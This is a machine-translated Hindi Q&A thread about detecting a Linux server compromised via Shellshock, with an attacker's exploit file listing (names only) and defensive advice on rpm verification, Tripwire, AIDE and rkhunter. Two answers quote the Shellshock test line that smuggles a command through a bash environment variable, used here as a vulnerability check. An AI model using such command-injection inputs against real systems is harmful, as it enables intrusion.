-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

थोड़ी देर बाद मैंने देखा कि चीन जैसे विभिन्न स्थानों से ssh कनेक्शन हैं जो आमतौर पर हमारे सर्वर पर नहीं जाते हैं। मैंने एक आपातकालीन उपाय के रूप में बैश किया (एफएसएफ वेबसाइट से उपलब्ध स्रोतों को पैच करने के लिए अच्छा होगा और न केवल वास्तव में ओएलडी स्रोत और पैच-फाइलें (जिनमें से एक पहले सही तरीके से लागू नहीं हुई थी)। सिस्टम एक पूर्ण के लिए निर्धारित है। अब पोंछो, इसलिए अगर किसी को हमले के बारे में कुछ और की तलाश है, तो आप पूछ सकते हैं, लेकिन जल्द ही करें।


3

यह उत्तर विशेष रूप से शेलशॉक से संबंधित नहीं है, लेकिन किसी भी प्रणाली के लिए आप सोच सकते हैं कि समझौता किया गया है

दूसरा नोट: आप सुनिश्चित नहीं हो सकते हैं कि आप रूट सिस्टम से समझौता कर चुके हैं। आपका एकमात्र कार्य सिस्टम को नष्ट करना और फिर से प्रावधान करना है

एक स्वच्छ स्टैटिक बिल्ड ऑफ़ rpmऔर रन कमांड प्राप्त करने का प्रयास करें rpm --verify --all। यह आपको बताएगा कि पैकेज से संबंधित कौन सी फाइलें संशोधित की गई हैं। लेकिन जब से आप इसे एक समझौता प्रणाली पर चला सकते हैं, आप पूरी तरह से परिणाम पर भरोसा नहीं कर सकते हैं। तो आप बस rpm -qaसंकुल की सूची प्राप्त करने के लिए एक ही कर सकते हैं, एक ही संकुल संस्करणों के साथ एक और प्रणाली को फिर से बनाएँ और find / -type f |xargs -r -n 100 md5sum |sortदोनों प्रणाली पर और देखें कि यह अलग है। इसके अलावा यदि आप अपने सिस्टम को ठीक से प्रबंधित करते हैं (जिसका अर्थ है कि मैन्युअल रूप से / ऑप्ट या यूएसआर / लोकल / बिन या किसी अन्य अप्रबंधित जगह के बाहर मैन्युअल रूप से कुछ भी इंस्टॉल नहीं करना है), तो आप अपने सिस्टम की उन सभी फाइलों को खोज सकते हैं जो पैकेज से संबंधित नहीं हैं find / -type f -exec rpm -qf {} \;। यह अज्ञात फ़ाइलों के लिए त्रुटियों को दिखाना चाहिए। मैं आपको एक अभ्यास के रूप में सकारात्मकता नहीं दिखाने देता हूं ;-)

क्रिप्टोग्राफिक प्रमाण के साथ समय-समय पर ऐसा करने के लिए, एक उपकरण है जिसे Tripwireआप अभी भी मुफ्त संस्करण के रूप में पा सकते हैं। यह पुराना है लेकिन अपना काम करता है। एक नया विकल्प है AIDE, लेकिन जब मैंने इसे सालों पहले देखा था तब यह क्रिप्टोकरंसी का उपयोग नहीं कर रहा था।

कुछ उपकरण हैं जो मदद कर सकते हैं। उदाहरण के लिए पैकेज देखें rkhunter। यह आपके कंप्यूटर को ज्ञात रूट टूलकिट, और शोषित फ़ाइलों के लिए स्कैन करेगा।

जाहिर है कि इन उपकरणों को सिस्टम द्वारा समझौता किए जाने से पहले स्थापित और कॉन्फ़िगर किया जाना चाहिए था, और अगर आपके सिस्टम को रूट एक्सेस तक सफलतापूर्वक हैक किया गया है, तो ये उपकरण भी लक्षित हो सकते हैं। इसके अलावा, ये उपकरण बहुत गहन हो सकते हैं और आपके सिस्टम को धीमा कर सकते हैं।


2

यह जानने का एकमात्र तरीका है कि क्या आपके सर्वर से छेड़छाड़ की गई है, कहीं न कहीं आपकी फाइलों पर हस्ताक्षर हैं और आपकी वर्तमान फ़ाइलों की तुलना करने के लिए। फिर भी आप देख सकते हैं कि क्या आप कमजोर हैं।

  1. आप नहीं कर सकते। यह मान लेना उचित है कि क्या आपकी मशीन वास्तव में समझौता कर रही है, आपके सामान्य निगरानी उपकरण (ps, top, lsof, ...) को ऐसे ही उपकरणों से प्रतिस्थापित किया गया है जिनका उत्पादन सामान्य दिखता है, जो संदिग्ध गतिविधि को छिपाते हैं
  2. नहीं। निष्पादन योग्य फ़ाइलों के साथ किसी भी फ़ोल्डर में हो सकता है।
  3. कोई भी निष्पादन योग्य फ़ाइलें या स्क्रिप्ट (ELF बाइनरी, .shell स्क्रिप्ट, ...), सामान्य निगरानी उपकरण सहित

-3

कैसे पता करें कि क्या आपके लिनेक्स बॉक्स से छेड़छाड़ की गई है।

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

अगर लौटता है

vulnerable
this is a test

तुम हो।

अद्यतन चलाने के लिए, रूट के अंतर्गत निम्न कमांड चलाएँ

sudo yum update bash

16
-1 यह जाँच अगर बैश असुरक्षित है, न कि अगर यह वास्तव में समझौता किया गया है।
कालिमा

1
यह यह भी मानता है कि आप चल रहे हैं yumऔर एक और पैकेज मैनेजर नहीं।
डेविडजी

-3

यदि आप निम्न आदेशों (CSA द्वारा प्रदान किया गया कोड) चलाकर चेक कर सकते हैं कि आप कमजोर हैं। एक टर्मिनल विंडो खोलें और $ प्रांप्ट पर निम्नलिखित कमांड दर्ज करें:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

यदि आपका बैश अप टू डेट नहीं है, तो यह प्रिंट होगा:

vulnerable
this is a test

यदि आपका बैश अप टू डेट है, तो आप केवल देखेंगे:

this is a test

इस लिंक के पीछे और अधिक विवरण उपलब्ध हैं ।


1
सवाल यह पता लगाने के बारे में था कि एक सर्वर से छेड़छाड़ की गई थी , यह नहीं कि यह असुरक्षित है
गैरेथ

कृपया एक प्रतिक्रिया के समान एक पोस्ट करने से पहले अन्य प्रतिक्रियाओं को पढ़ने पर विचार करें जिसका स्कोर कम है क्योंकि यह प्रश्न का उत्तर नहीं देता है।
मनु एच
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.